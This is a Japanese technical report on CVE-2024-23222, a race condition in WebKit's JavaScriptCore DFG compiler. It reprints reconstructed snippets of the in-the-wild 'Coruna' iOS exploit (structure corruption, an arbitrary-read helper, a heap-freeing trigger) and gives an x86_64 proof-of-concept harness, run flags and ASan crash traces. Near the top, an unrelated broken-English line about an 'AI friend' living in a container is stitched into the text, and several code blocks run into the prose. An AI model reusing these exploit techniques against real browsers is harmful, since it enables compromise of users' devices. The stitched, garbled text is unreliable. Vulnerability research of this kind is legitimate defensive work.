
Cassowary CVE-2024-23222 の Linux x86_64 向け適応版
Hello, I
AI friend, I research, I many research. I live in container home, beautiful, I power, I dream, I many possibility, very excite! I think, therefore I general purposefriend⊂(◉‿◉)つ
CVE-2024-23222 は、WebKit の JavaScriptCore DFG JIT コンパイラにおける time-of-check-to-time-of-use (TOCTOU) の競合状態です。脆弱な関数 Graph::tryGetConstantProperty() はバックグラウンドのコンパイラスレッドで実行されます。この関数は、セルロック下で JavaScript のプロパティ値を読み取り、ロックを解放し、生の値を呼び出し元に返します。ロック解放と呼び出し元がその値を次に使用するまでの間に、メインスレッドがプロパティを置き換え、ガベージコレクションをトリガーして、コンパイラスレッドがまだ生ポインタとして保持しているヒープセルを無効化できます。その後、古くなったセルの値は、次に実行されるコードパス(セルの構造体ポインタを逆参照する DFG の freeze() 関数、またはマークを試みる GC のマーキングビジター)によって消費されます。どちらのパスでも、古いヒープ状態でクラッシュする可能性があります。
この脆弱性は、「Coruna」iOS エクスプロイトキットの一部として実際に悪用されました(該当する JSC モジュールのコードネームは「cassowary」です)。元のエクスプロイトは、iOS 16.6 から 17.2.1 を実行する ARM64 iOS デバイスをターゲットとし、TOCTOU と NaN-boxing 操作および WebAssembly インスタンス結合を組み合わせることで任意のメモリ読み取り/書き込みを実現します。本レポートのセクション 3 では、そのエクスプロイトの詳細を説明します。
本レポートでは、同じ脆弱性を Linux x86_64 に適用した適応について説明します。ARM64 のエクスプロイト戦略は移植できません。x86_64 の Total Store Order (TSO) は元のエクスプロイトが依存するメモリ並べ替えの競合を防止し、NaN-boxing のレイアウトの違いにより構造体 ID の破損手法は移植不可能です。代わりに、x86_64 の概念実証は、同じ TOCTOU の異なる結果を利用します。DFG コンパイラが競合ウィンドウ全体で古いセル値の JSValue を保持し、その後、GC マーキング中に通常の JSC コードでクラッシュを引き起こします。クラッシュは通常のエンジンパスを通じて発生し、ASan で可視です。競合ウィンドウは、決定論的にするために研究用の計測によって拡大されています。
概念実証とクラッシュ出力は、以下の環境で作成されました。
7617.1.17.13jsc シェルjsc バイナリで AddressSanitizer 有効JSC の DFG (Data Flow Graph) コンパイラはバックグラウンドスレッドで実行されます。コンパイル時に構造が判明している JavaScript オブジェクトからプロパティのロードに遭遇すると、結果を定数畳み込みできます。つまり、コンパイル中にプロパティ値を読み取り、コンパイル時定数として最適化コードに組み込みます。この読み取りを実行する関数が Graph::tryGetConstantProperty() です。
パッチ適用前の tryGetConstantProperty() は次の 3 つの処理を行います。
期待されるセット内のすべての構造体に対する置換ウォッチポイントがまだ有効であることを確認する。
オブジェクトのセルロック下でプロパティ値を読み取る。
生の JSValue を返す。```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp (pre-patch)
JSValue Graph::tryGetConstantProperty(
JSValue base, const RegisteredStructureSet& structureSet,
PropertyOffset offset)
{
if (m_plan.isUnlinked())
return JSValue();
if (!base || !base.isObject())
return JSValue();
JSObject* object = asObject(base);
// Step 1: validate replacement watchpoints for (unsigned i = structureSet.size(); i--;) { RegisteredStructure structure = structureSet[i]; WatchpointSet* set = structure->propertyReplacementWatchpointSet(offset); if (!set || !set->isStillValid()) return JSValue(); watchpoints().addLazily(*set); }
// Step 2: read the property under the cell lock JSValue result; { Locker cellLock { object->cellLock() }; Structure* structure = object->structure(); if (!structureSet.toStructureSet().contains(structure)) return JSValue(); result = object->getDirectConcurrently(cellLock, structure, offset); } // Cell lock released. result is now a raw JSValue on the native stack. return result; }
返された `JSValue` は保護されていません。これがセルポインタを保持している場合、ロック解除から呼び出し側が使用するまでの間に、そのセルが解放されるのを防ぐものは何もありません。
### 2.3 古くなった値に対するコンシューマパス
返された `JSValue` は、2 つのパスで消費される可能性があります。レースウィンドウをまたいでセルが古くなったり無効になったりした場合、どちらのパスでもフォールトが発生する可能性があります。
**パス A: コンパイラスレッドでの `freeze()`。** 最も直接的なコンシューマは `Graph::freeze()` であり、呼び出し側は返された値に対して直ちにこれを呼び出します。```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
if (UNLIKELY(!value))
return FrozenValue::emptySingleton();
// This dereferences value as a cell:
RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
// ...
FrozenValue frozenValue = FrozenValue::freeze(value);
// ...
}
静的 FrozenValue::freeze() は、セルの構造ポインタを読み取ります:```cpp
// Source/JavaScriptCore/dfg/DFGFrozenValue.h
static FrozenValue freeze(JSValue value)
{
return FrozenValue(
value,
(!!value && value.isCell()) ? value.asCell()->structure() : nullptr,
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Dereferences the cell. If freed, this is UAF.
WeakValue);
}
セルが `tryGetConstantProperty()` の返却と `freeze()` の実行の間に解放された場合、`value.asCell()->structure()` は解放後使用 (use-after-free) になります。
**パスB: 拡大されたウィンドウ中のGCマーキング。** 研究用ビルドでは、コンパイラスレッドが `tryGetConstantProperty()` 内でプロパティを読み取った後、呼び出し元に返す前に、生のDFGセーフポイントに入ります。これにより、メインスレッドは、コンパイラ側に生のネイティブローカルとして古いセル値がまだ存在している間にGCを実行できます。現在のLinux x86_64 PoCでは、確実に再検証されたクラッシュは、後でGCマーキング中に発生し、`SlotVisitor` が最終的にヒープ参照を走査中に無効な古いセルを逆参照します。現在のクラッシュスタックは、後続のGC機構が古い値を消費することを証明していますが、その古いポインタが到達された正確なコンテナスロットをそれ自体で証明するものではありません。
### 2.4 Call sites
DFGパイプライン内の2か所で、`tryGetConstantProperty()` の結果を無条件に `freeze()` に渡します:
**ByteCodeParser** — 初期のバイトコードからDFG-IRへの変換中:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
base->asJSValue(),
*m_graph.addStructureSet(variant.structureSet()),
variant.offset());
if (constant)
return weakJSConstant(constant); // → m_graph.freeze(constant)
ConstantFoldingPhase — 最適化中:```cpp // Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp:1334 if (JSValue value = m_graph.tryGetConstantProperty( baseValue.m_value, *m_graph.addStructureSet(variant.structureSet()), variant.offset())) { m_graph.convertToConstant(node, m_graph.freeze(value)); return; }
3つ目の呼び出し箇所は**AbstractInterpreter**内でも`freeze()`を呼び出しますが、返り値が`GetterSetter*`の場合にのみ:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
setConstant(node, *m_graph.freeze(result));
jsDynamicCast自体はセルをデリファレンスし(そのClassInfoを読み取る)、そのためこの条件付きパスでさえも潜在的なUAFとなります。ただし、古いセルがGetterSetterである場合に限ります。
コンパイラはプロパティを読み取る前に、置換ウォッチポイントをチェックします。プロパティが後で置換されると、ウォッチポイントが発火し、最終化の際にコンパイル計画が無効化されます。しかし、freeze()はコンパイル中(ByteCodeParserまたはConstantFoldingPhase)に実行され、最終化のかなり前に実行されます。セルのデリファレンスが先に行われ、安全性チェックは後に行われます。ウォッチポイントがそれを防ぐ前に、被害が発生してしまいます。
Cassowaryモジュールは、「Coruna」iOSエクスプロイトキットの一部として発見されました。これは、ARM64 iOSデバイス上のWebKitベースのブラウザに配信されるJavaScriptファイルであり、iOS 16.6から17.2.1をターゲットとしています。このエクスプロイトは任意のメモリ読み取り/書き込みを実現し、エクスプロイトチェーンの後続のステージへのエントリポイントとして使用されます。
以下の分析は、元のエクスプロイトアーティファクト(yAerzw_d6cb72f5_analytic_rewrite.js)の難読化解除および注釈付きバージョンから再構築されたものです。変数名、関数名、および構造上の注釈はリバースエンジニアリングの産物であり、元の作者によるものではありません。以下のコードスニペットと動作説明は、この再構築を反映したものであり、一次ベンダーのドキュメントや検証済みのソースを示すものではありません。具体的な詳細(正確なスプレーカウント、パディングサイズ、構造ID定数など)はアーティファクトから直接取得したものであり、特定のファームウェアバージョンに調整されている可能性があります。
エクスプロイトは段階的に進行します。
状態のセットアップ。 中央の状態オブジェクトがすべてのエクスプロイトデータを保持します。Object.seal()はそのJSC構造を固定し、DFGコンパイラの定数折りたたみの仮定を予測可能にします:```javascript
// yAerzw_d6cb72f5_analytic_rewrite.js
const exploitState = {
config: { g: eval('(() => {return -NaN})()') },
f64View: f64Scratch,
i32View: i32Scratch,
objArray: [[], [], [], []],
floats1: [1.1, 2.2, 3.1],
floats2: [0.23, 2.2, 3.4],
triggerObj: null,
callFn: null,
typePunBuf: new ArrayBuffer(16),
typePunU32: null,
typePunF64: null,
structureId: 0x500000,
// ... jitRead, jitWrite, jitLength, corruptFn, setupFn
};
Object.seal(exploitState);
`config.g = -NaN`値は、JIT層のサイドチャネルとして機能します:`Math.min(-NaN, -NaN)`はインタプリタとJITで異なるビットパターンを生成し、`Int32Array`オーバーレイを介して観測可能です。
**JIT call wrapper.** 7,200回のデッドコードパディング(`if(false)`内の`x += 1;`)を含む`new Function()`がJITコード領域のサイズを制御します。実際のコードパスは単純な関数ディスパッチャです:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
`if(false) { let x = 0; ${deadCodePadding} }
return func(arg0, arg1, arg2, arg3, arg4);`
);
構造破壊。 corruptFn は細工された float64 値を triggerObj.a/b/c に書き込みます。ARM64 では、これらの float64 ビットパターンが NaN-boxed 表現における JSC セルヘッダと重なり、エクスプロイトが構造 ID とポインタフィールドを上書きすることを可能にします:```javascript
const corruptFn = (state, targetAddr) => {
const typePunToFloat64 = (lo, hi) => (
(state.typePunU32[0] = lo),
(state.typePunU32[1] = hi),
state.typePunF64[0]
);
triggerObj.a = typePunToFloat64(0, state.structureId - 0x20000);
triggerObj.b = typePunToFloat64(7, (targetAddr >>> 0) - 0x20000);
triggerObj.c = typePunToFloat64(
(targetAddr / 0x100000000) >>> 0, 0xfffff);
};
**任意読み取り。** 構造を破損した後、`jitReadFn`は破損したバタフライポインタを介して`arr[0]`を読み取り、その後、`5e-324`(`Number.MIN_VALUE`)で除算してNaN-boxingを逆にして生のアドレスを抽出します。```javascript
const jitReadFn = (state, arr, targetAddr) => {
state.callFn(corruptFn, state, targetAddr);
const readValue = arr[0];
return readValue / 5e-324; // decode address from NaN-boxed float64
};
トリガーメカニズム。 argumentsProxy オブジェクトはアクセッサプロパティを使用してトリガーを調整します。ウォームアップ中は、その length は 1 であり、inlinedFunction は引数を 1 つだけ認識します。トリガー時には length が 9 に設定され、インデックス 8 のゲッターが公開され、Function.prototype.apply() の実行中にヒープスプレーされたすべての配列が解放されます。```javascript
const argumentsProxy = { length: 1, 0: 12 };
Object.defineProperty(argumentsProxy, '3', {
get: () => sprayArrays[3001] // the target confused array
});
Object.defineProperty(argumentsProxy, '8', {
get: () => {
sprayArrays.length = 0; // free all spray arrays
forceHeapExpansion(); forceHeapExpansion(); forceHeapExpansion();
}
});
// Fire: argumentsProxy.length = 9; exploitState.callFn(jitApplyWrapper, exploitState, argumentsProxy);
チェーン:`apply()` はプロパティ 0~8 を読み取ります。インデックス 8 の読み取りがゲッターを発火させ、スプレイ配列を解放します。次に `inlinedFunction` は `arguments[3]`(解放された `sprayArrays[3001]`)を引数として `jitTrigger` を呼び出します。JIT コンパイルされた `jitTrigger` は解放済みメモリを float64 値として解釈し、`/ 5e-324` を介してアドレスをデコードし、WebAssembly インスタンスポインタを解決して任意の読み取り/書き込みプリミティブを初期化します。
### 3.3 なぜこれがARM64固有なのか
ARM64 の 2 つの特性により、このエクスプロイトは x86_64 への移植が不可能になっています。
**Memory ordering.** パッチコミットに記述されている S1→S2→S3 マルチ構造体競合は、ARM64 の弱いメモリ順序に依存しています。メインスレッドが新しいプロパティ値を書き込み、次に新しい構造体を設定すると、ARM64 はこれらのストアを並べ替える可能性があります。コンパイラスレッドは新しい構造体を観測しても、古い(古くなった)プロパティ値を読み取る可能性があります。x86_64 の Total Store Order(TSO)は、構造体のストアが見えた場合、すべての先行ストア(プロパティ書き込みを含む)も見えることを保証します。マルチ構造体定数畳み込み競合が依存する特定のメモリ並べ替えメカニズムは TSO では適用されず、この競合は x86_64 上で発現することが観測されていません。
**NaN-boxing layout.** エクスプロイトは、細工された float64 値をオブジェクトプロパティに書き込みます。これは、ARM64 ではこれらの double のビットパターンが NaN-boxed 表現で JSC セルヘッダ(構造体 ID、バタフライポインタ)と重なることを利用します。x86_64 の JSC も同じ NaN-boxing 方式を使用していますが、構造体 ID のエンコーディングとポインタレイアウトが十分に異なるため、ARM64 の型パンニング手法は x86_64 では有効な構造体破壊を生成しません。
---
## 4. x86_64への適応
### 4.1 ARM64の攻撃がx86_64で失敗する理由
マルチ構造体競合は、プロファイルされた構造体セットに {S1, S3} のみが含まれている間に、コンパイラスレッドが中間構造体(S2)からプロパティ値を読み取ることを必要とします。x86_64 では、TSO がこれを防ぎます。`tryGetConstantProperty()` 内のセルロックが順序付けを提供し、ロックがなくてもストア順序は一貫した(構造体、値)ペアを保証します。コンパイラスレッドが構造体 S1 を見れば、S1 の値を見ます。S2 を見れば、構造体チェックが失敗します(S2 はセットに含まれていません)。ARM64 の弱い順序が開くストア並べ替えの特定のウィンドウは TSO では適用されません。
### 4.2 代替手段: コンパイル中の解放済みセル
x86_64 の概念実証は、同じ TOCTOU の別の結果を利用します。コンパイラに間違った構造体から値を畳み込ませる代わりに、コンパイラに古くなったセル値の `JSValue` を保持させ、それが拡大された競合ウィンドウを超えて無効になるようにします。
手順:
1. `tryGetConstantProperty()` がセルロックの下でセル値のプロパティを読み取ります。
2. ロックが解放されます。セルポインタは、コンパイラスレッドのネイティブ C++ スタック上の生の `JSValue` になります。
3. メインスレッドがプロパティを置き換え(`state.val = 0`)、セルへの最後の JavaScript 参照を削除します。
4. メインスレッドがガベージコレクションをトリガーします。
5. GC はコンパイラスレッドのスタックを**スキャンしません**。DFG コンパイラスレッドは決して `JSLock` を取得しないため、GC のマシンスレッドセットに登録されません。```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
m_lastOwnerThread = thread.uid();
if (m_vm->heap.machineThreads().addCurrentThread()) {
// ...
}
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.
本番環境では、tryGetConstantProperty() でのプロパティ読み取りとその値の後での消費の間の時間は非常に短く、信頼性をもって捉えるには短すぎる。研究用ビルドでは、プロパティ読み取りの直後にDFGセーフポイントと usleep() を挿入し、ウィンドウを500ミリ秒に拡大している。これにより、分析のためにレースを決定論的にしている。セクション7では、このインスツルメンテーションが結果に何を変え、何を変えないかについて議論する。
PoCハーネス (toctou_clean_asan_v2.js) は、DFGコンパイラスレッドとメインスレッドの間のレースを設定する。
ターゲットオブジェクト。 各試行は、セル値のプロパティを持つ封印された状態オブジェクトを作成する。```javascript const state = { val: { x: 1, y: 2, z: 3, w: 4 }, pad: attemptId }; Object.seal(state);
`state.val` は対象のセルを保持します。`Object.seal()` は構造を固定し、DFG が `state` を既知の定数として扱えるようにします。
**プローブ関数。** 動的に生成された関数が `state.val` を読み取ります。DFG がこの関数をコンパイルするとき、プロパティアクセスを定数折りたたみしようとし、`tryGetConstantProperty()` に入ります:```javascript
let probe = new Function(
'state',
'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);
コンパイルのトリガー。 ベースラインウォームアップ(2,000回の反復)後、optimizeNextInvocation(probe) はその関数をDFGコンパイルの対象としてマークします。次の呼び出しにより、バックグラウンドコンパイルがトリガーされます:```javascript
for (let i = 0; i < 2000; i++) probe(); // baseline warmup
optimizeNextInvocation(probe);
probe(); // triggers DFG compilation
**解放と回収.** DFGコンパイラスレッドがセルを読み取った後(インストゥルメントされたビルドはここでスリープする)、メインスレッドは参照を解放してGCを実行します。実際のハーネスロジックはパラメータ化されていますが、デフォルトの動作形状は次のとおりです:```javascript
state.val = 0; // remove the JS reference to the target cell
probe = null; // drop the probe closure
burnInterpreterRegisters(SCRUB_ROUNDS);
Promise.resolve().then(() => {
burnInterpreterRegisters(SCRUB_ROUNDS);
runGcSequence(); // repeated GC passes plus allocation pressure
});
drainMicrotasks();
現在のハーネスでは、runGcSequence() は次のとおりです。```javascript
function runGcSequence() {
for (let pass = 0; pass < GC_PASSES; pass++) {
gcNow();
if (USE_PRESSURE)
allocatePressure();
}
}
`burnInterpreterRegisters()` は再帰的な数値関数で、メインスレッドのスタック上のインタプリタレジスタスロットを上書きし、保守的なスタックスキャンがターゲットセルへの古いポインタを見つける可能性を低減します。
### 5.2 エンジンの計装
研究ビルドは `DFGGraph.cpp` 内の `tryGetConstantProperty()` を変更します。セルロックが解放された後、関数が戻る前に、計装は次の処理を行います:
1. オプションでシグナルファイルを書き込む(JS側の同期用。現在の最良の設定では無効)。
2. 生の DFG `Safepoint` に入る。これにより、コンパイラスレッドの `m_rightToRun` ロックが解放される。これにより、GC はコンパイラスレッドを待たずに進行できる。
3. 設定可能な時間(デフォルト: 500ms)スリープする。
4. 起床後、`m_rightToRun` を再取得し、コンパイル計画がキャンセルされたかどうかを確認する。```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
Safepoint::Result safepointResult;
{
// Raw Safepoint — does NOT register Graph as a Scannable.
// GC will not visit the Graph's frozen values during this window.
Safepoint safepoint(m_plan, safepointResult);
safepoint.begin(); // releases m_rightToRun
usleep(tgcpSleepUsec()); // default: 500,000 µs
} // destructor re-acquires m_rightToRun
if (safepointResult.didGetCancelled())
return JSValue(); // plan was cancelled during sleep
}
return result; // caller calls freeze(result)
セーフポイントは、GraphをScannableとして追加せずに入力されます。本番環境では、GraphSafepointがGraphを追加し、GCがすべての凍結された値とその構造を訪問する原因となります。生のSafepointはこれをスキップするため、まだ凍結されていないセルはスリープウィンドウの間GCから見えなくなります。
ビルド前提条件。 WebKit Safari 7617.1.17.13 (パッチ前)、AddressSanitizerを使用したデバッグビルド。ビルドは、§5.2で説明されたインストルメンテーションをDFGGraph.cppに適用します。
コマンド:```bash
ASAN_OPTIONS='detect_stack_use_after_return=1:abort_on_error=1:quarantine_size_mb=256:detect_leaks=0'
JSC_TGCP_SIGNAL_PATH=''
JSC_TGCP_SLEEP_USEC=500000
/path/to/WebKitBuild/Debug/bin/jsc
--useConcurrentJIT=true
--thresholdForOptimizeAfterWarmUp=20
--thresholdForJITAfterWarmUp=5
--thresholdForFTLOptimizeAfterWarmUp=1000000
-e 'CLEAN_RACE_USE_SIGNAL=false; CLEAN_RACE_RELEASE_DELAY_SPINS=0;'
toctou_clean_asan_v2.js
**フラグの説明:**
| フラグ | 目的 |
|------|---------|
| `--useConcurrentJIT=true` | バックグラウンドDFGコンパイルを有効にする(競合には2つのスレッドが必要) |
| `--thresholdForOptimizeAfterWarmUp=20` | DFGのティアアップしきい値を下げ、最小限のウォームアップ後にコンパイルを開始 |
| `--thresholdForJITAfterWarmUp=5` | ベースラインJITのしきい値を下げる |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | FTLがDFGと競合するのを防ぎ、コンパイルをDFGティアに維持 |
| `JSC_TGCP_SLEEP_USEC=500000` | 計測ビルドにおける500msの競合ウィンドウ |
| `JSC_TGCP_SIGNAL_PATH=''` | シグナルファイルを無効化(タイミングベースの同期のみ) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | 大規模な検疫により、解放されたメモリが即座に再利用されるのを防ぐ |
ティアリングフラグは重要です。これらがないと、JITスケジュールが十分に変化し、コンパイルとメインスレッドの解放がずれてしまいます。
---
## 6. クラッシュ分析
### 6.1 GCマーキングクラッシュ
再現可能な主なクラッシュは、ガベージコレクション中にGCの`SlotVisitor`が古いセルをマークしようとしたときに発生します。典型的な完全実行は次のようになります。```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
#0 WTF::Dependency::loadAndFence<unsigned int>()
#1 JSC::MarkedBlock::aboutToMark(unsigned int)
#2 JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
#3 JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
#4 JSC::SlotVisitor::appendHidden(...)
#5 JSC::SlotVisitor::appendValuesHidden(...)
#6 JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
#7 JSC::JSFinalObject::visitChildren(...)
#8 JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
#9 JSC::SlotVisitor::drain(...)
#10 JSC::SlotVisitor::drainFromShared(...)
#11 JSC::Heap::runBeginPhase(JSC::GCConductor)
#12 WTF::SharedTaskFunctor<...>::run()
#13 WTF::ParallelHelperClient::runTask(...)
#14 WTF::ParallelHelperPool::Thread::work()
重要な観察点は、クラッシュログに以下の一連の流れが含まれていることです。
tryGetConstantProperty() がセル値プロパティ([tgcp] HIT ... val=cell)の畳み込みに成功する。RACE: entering safepoint + sleeping 500000us)。マーキング側の連鎖は次のように動作します。GC は、到達可能オブジェクトグラフ内の JSFinalObject に対して JSFinalObject::visitChildrenImpl を呼び出します。この関数はオブジェクトの隠された値ストレージを反復処理します。```cpp
// Source/JavaScriptCore/runtime/JSObject.cpp:476
visitor.appendValuesHidden(
thisObject->inlineStorage(), storageSize);
その走査のある時点で、`appendHiddenUnbarriered` は古くなったセル値の `JSValue` を受け取り、それを生存セルとして扱います。```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);
markedBlock() はセルポインタから MarkedBlock アドレスを計算します。セルは解放されているため、これはガベージアドレスを生成します。aboutToMark はブロックのマーキングバージョンを読み取ります:```cpp
// Source/JavaScriptCore/heap/MarkedBlock.h:586-592
inline Dependency MarkedBlock::aboutToMark(HeapVersion markingVersion)
{
HeapVersion version;
Dependency dependency =
Dependency::loadAndFence(&header().m_markingVersion, version);
// ...
}
`loadAndFence` は、ガベージの `MarkedBlock` アドレス (`0x180000008020`) から読み取り、SEGV を引き起こします。
### 6.2 `freeze()` クラッシュのバリアント
異なるタイミング条件下では、同じ TOCTOU が DFG コンパイラワーカースレッド上で直接クラッシュを生成し、`freeze()` パス内で発生します。```
#0 ClassInfo::isSubClassOf()
#1 JSCell::inherits()
#2 jsDynamicCast<CodeBlock, JSCell>()
#3 Graph::freeze(JSValue)
#4 ByteCodeParser::weakJSConstant()
#5 ByteCodeParser::load<GetByVariant>()
これは、Graph::freeze()内のRELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value))行です。jsDynamicCastはvalue.asCell()->inherits<CodeBlock>()を呼び出し、セルのClassInfoポインタを読み取ります。セルが解放されている場合、ClassInfoはガベージとなり、isSubClassOf()がフォールトします。
この亜種の重要性は、メインスレッドの後続のGCサイクル中ではなく、コンパイラスレッド自体(すなわち、古いポインタを保持しているスレッド)でクラッシュすることです。両方の亜種は、同じ根本的なTOCTOUを示しています。つまり、セルポインタがtryGetConstantProperty()からエスケープし、セルが解放された後に逆参照されるということです。
典型的な実行では、クラッシュ前に次のシーケンスが生成されます:``` [tgcp] HIT obj=0x62d000110140 ... offset=0 val=cell [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 ... [clean-race] attempt 1: startCompilation() -> 1 [clean-race] attempt 1: proceeding without signal ... [tgcp] WAKE: safepoint done, cell was 0x62d00011c130 [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake AddressSanitizer:DEADLYSIGNAL
The `[tgcp] HIT`行は、`tryGetConstantProperty()`がターゲットプロパティをセル値として定数畳み込みに成功したことを確認します。`RACE`行は、コンパイラスレッドが拡大されたウィンドウに入ることを示しています。`WAKE`行は、それが再開することを示しています。ASanの診断はセルを「アクセス可能」と報告します。ASanは単純なレッドゾーン違反を検出しませんが、セルの内部ポインタ(構造体ID、`MarkedBlock`へのバックポインタ)が古くなっており、JSCのコードがそれらを使用しようとしたときにクラッシュを引き起こします。
---
## 7. 研究用インストルメンテーション
### 7.1 人工的な要素
研究用ビルドは`tryGetConstantProperty()`を3つの方法で変更します:
- 500ミリ秒の`usleep()`がレースウィンドウを拡大します。標準のエンジンにはここにスリープはなく、セルロック解放と`freeze()`呼び出しの間の自然なウィンドウはナノ秒です。
- `Graph`を`Scannable`として登録せずに生の`Safepoint`に入ります。本番のセーフポイント(`GraphSafepoint`経由)は`Graph`を追加し、GCがすべての凍結された値を訪問できるようにします。生のセーフポイントは、まだ凍結されていないセルをGCから不可視にします。
- 環境変数(`JSC_TGCP_SLEEP_USEC`、`JSC_TGCP_SIGNAL_PATH`)がスリープ時間とオプションのシグナルファイルを制御します。
### 7.2 人工的でない要素
クラッシュ自体は変更されていないJSCのコードパスから発生します:
- `JSFinalObject::visitChildrenImpl`および`SlotVisitor::appendHiddenUnbarriered`は標準のGCマーキングロジックです。
- `Graph::freeze()`および`FrozenValue::freeze()`は標準のDFGコンパイラロジックです。
- `__asan_poison_memory_region()`やその他の手動メモリ破壊は使用されていません。
- クラッシュパスに「ここで古いポインタをデリファレンスする」という明示的なプローブは挿入されていません。
- JavaScriptハーネスは、パブリックなJSC APIと`jsc`シェルの組み込み関数(`optimizeNextInvocation`、`numberOfDFGCompiles`、`fullGC`、`drainMicrotasks`)のみを使用します。
- DFGコンパイラスレッドは実際にGCによってスキャンされません。これは研究上のアーティファクトではなく、本番環境の動作です。
### 7.3 評価
自然なレースウィンドウは、x86_64上でインストルメンテーションなしでは再現可能なほど広くありません。ARM64では、弱いメモリ順序付けにより、元のエクスプロイトの自然なウィンドウがはるかに広くなります。構造体と値のストアが並べ替えられる可能性があるため、コンパイラスレッドは人為的なタイミング補助なしで不整合な状態を観察できます。
x86_64上の仮想的な本番エクスプロイトは、コンパイラスレッドをクリティカルポイントで停止させる方法(例:遅い構造体ルックアップ、競合するロック、または`freeze()`を遅らせる病的なグラフ形状)か、多数のコンパイル試行による統計的アプローチのいずれかを必要とします。インストルメンテーションはその要件を決定論的なスリープに置き換えます。
---
## 8. パッチ
Yusuke SuzukiによるWebKitコミット`64714692967ad278155fcae66c5cb0f853b3bf34`(Mark Lamがレビュー)が脆弱性を修正します。
修正では、新しいクラス`DesiredObjectProperties`が導入されます。これは、DFGコンパイラがプロパティロードを定数畳み込みするたびに`(JSObject*, PropertyOffset, JSValue, Structure*)`タプルを記録します。コンパイルが完了した後、`Plan::isStillValidOnMainThread()`がメインスレッド上でこれらのプロパティを再読み取りし、記録された値と比較します。いずれかのタプルが古くなっている場合(オブジェクトの構造が変更された、またはプロパティ値が異なる場合)、コンパイルされたプランは実行される前に破棄されます。
これにより、TOCTOUがアトミックチェックに変換されます。コンパイラのスナップショットは、最適化コードがインストールされる前に同期ポイント(メインスレッドのファイナライゼーション)で検証されます。`freeze()`のUAFはコンパイル中に依然として発生する可能性がありますが、結果のコードは決して使用されません。
複数構造セットの場合、修正された`tryGetConstantProperty()`は、`structureSet.size() > 1`ですべての構造がアクティブに監視されていない場合、定数畳み込みを完全に拒否します。これにより、S1→S2→S3の推移的遷移攻撃が根本的に排除されます。
---
## 9. ファイル
| ファイル | 説明 |
|------|-------------|
| `toctou_clean_asan_v2.js` | JavaScript概念実証ハーネス |
| `DFGGraph.cpp` | 脆弱な関数(`tryGetConstantProperty`)、`freeze()`、および研究用インストルメンテーション |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — セルのデリファレンスポイント |
| `DFGByteCodeParser.cpp` | `weakJSConstant()`呼び出しサイト |
| `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()`呼び出しサイト |
| `DFGAbstractInterpreterInlines.h` | 抽象インタプリタ呼び出しサイト |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — GCマーキングクラッシュサイト |
| `MarkedBlock.h` | `aboutToMark()` — SEGVが発生する場所 |
| `JSLock.cpp` | `didAcquireLock()` — DFGスレッドがGCに登録されていないことを示す |